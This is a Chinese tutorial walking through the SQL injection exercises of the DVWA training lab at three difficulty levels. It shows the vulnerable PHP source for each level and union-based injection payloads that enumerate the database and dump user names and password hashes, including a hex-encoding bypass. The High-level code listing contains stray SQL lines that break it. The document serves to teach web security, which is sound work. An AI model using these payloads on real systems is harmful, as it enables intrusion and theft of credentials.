前言

SQL Injection(SQL注入),是指攻击者通过注入恶意的 SQL 命令,破坏 SQL 查询语句的结构,从而达到执行恶意 SQL 语句的目的。

SQL 注入利用流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

Low

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
//获取ID字段
$id = $_REQUEST[ 'id' ];

// Check database
//拼接SQL语句并查询
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

漏洞利用

寻找注入点并判断注入点类型

  • 常用 SQL 执行判断语句
1
2
3
1
1\
1' #
  1. 查看正常SQL语句查询结果
1
1
  1. 查看 SQL 查询语句逻辑判断情况
  • 根据 truefalse 语句判断
1
1 and 1=1
1
1 and 1=2
  1. 查看 SQL 语句报错判断注入点类型
1
1'

根据报错判断该SQL语句为字符型

判断 SQL 查询语句字段数

  1. 查询 SQL 语句第 1 个字段
1
1' order by 1 #
  1. 查询 SQL 语句第 2 个字段
1
1' order by 2 #
  1. 查询 SQL 语句第 3 个字段
1
1' order by 3 #

发现报错判断该SQL 语句查询到字段 2

使用 union 语句判断报错位置

1
1' union select 1,2 #

发现该 SQL 查询语句同时存在 2 个报错点

1
1' union select 1,2,3 #

使用 union 语句查询数据库相关数据

  • MySQL 5.0 以上版本中自带数据库 information_schema
  • information_schema 存储所有数据库名,表名及列名信息
  • 使用 -1' union 使得查询语句报错可以隐藏掉我们不需要的信息
  1. 查询数据库名
1
1' union select 1,database() #
  1. 查询数据库版本、用户名
1
1' union select version(),user() #
  1. 查询数据库中的表数据
1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
  1. 查找数据库表中 users 中的字段
1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
  1. 查询数据库 users 数据
1
-1' union select group_concat(user),group_concat(password) from users #

Medium

源码分析

通过和 Low 级别相比
GET提交方式改成了POST提交方式
同时还对敏感字符使用了转义预防SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

//user中x00,n,r,,’,”,x1a转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

漏洞利用

Post 提交方式我们需要使用BurpSuite进行漏洞利用

寻找注入点并判断注入点类型

  • 常用 SQL 执行判断语句
1
2
3
1
1 \
1 #
  1. 查看正常SQL语句查询结果
1
1
  1. 查看 SQL 查询语句逻辑判断情况
  • 根据 truefalse 语句判断
1
1 and 1=1
1
1 and 1=2
  1. 查看 SQL 语句报错判断注入点类型
1
1'
1
1 #

判断 SQL 查询语句字段数

  1. 查询 SQL 语句第 1 个字段
1
1 order by 1 #
  1. 查询 SQL 语句第 2 个字段
1
1 order by 2 #
  1. 查询 SQL 语句第 3 个字段
1
1 order by 3 #

发现报错判断该SQL 语句只能查询到 2 个字段

使用 union 语句判断报错位置

1
1 union select 1,2 #

发现该 SQL 查询语句同时存在 2 个报错点

1
1' union select 1,2,3 #

使用 union 语句查询数据库相关数据

  • MySQL 5.0 以上版本中自带数据库 information_schema
  • information_schema 存储所有数据库名,表名及列名信息
  • 使用 -1' union 使得查询语句报错可以隐藏掉我们不需要的信息
  1. 查询数据库名
1
1 union select 1,database() #
  1. 查询数据库版本、用户名
1
-1 union select version(),user() #
  1. 查询数据库中的表数据
1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
  1. 查找数据库表中 users 中的字段
1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

因为 'users'' 被代码过滤掉了

我们需要换一种方法
例如将 users 换成十六进制 0x7573657273

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 #
  1. 查询数据库 users 数据
1
-1 union select group_concat(user),group_concat(password) from users #

High

源码分析

high 级别使用了 session 获取 id
SQL 查询语句使用 ' 进行闭合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
//【select * from tableName limit i,n 】
//tableName : 为数据表;
//i : 为查询结果的索引值(默认从0开始);
//n : 为查询结果返回的数量
//查询第一条数据
select * from student limit 1
//查询第二条数据
select * from student limit 1,1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

  1. 使用 Hackbar 抓取正常 SQL 语句查询结果
  1. 使用 BurpSuite 抓取正常 SQL 语句查询结果
  1. 其实 HighLow 级别需要操作一模一样
1
-1' union select group_concat(user),group_concat(password) from users #

存在问题

我们在 SQL 注入的时候发现报错

查询了相关报错之后发现是数据库表属性的问题
information_schema数据库里面都是utf8_general_ci 格式

而且靶场相关数据库表中的数据都是utf8_unicode_ci 格式

所以我们使用 phpMyAdmin 登陆上 DVWA 数据库

1
2
Username: root
Password: root

然后我们只需要把 DVWA 数据库下的 guestbookusers 表修改为 utf8_general_ci 格式

  1. 点击 guestbookusers 表的 结构
  1. 选中需要修改的数据表并点击修改
  1. 将表格式从 utf8_unicode_ci 改为 utf8_general_ci

参考 & 引用

https://zhuanlan.zhihu.com/p/565945383
https://www.cnblogs.com/chadlas/articles/15724905.html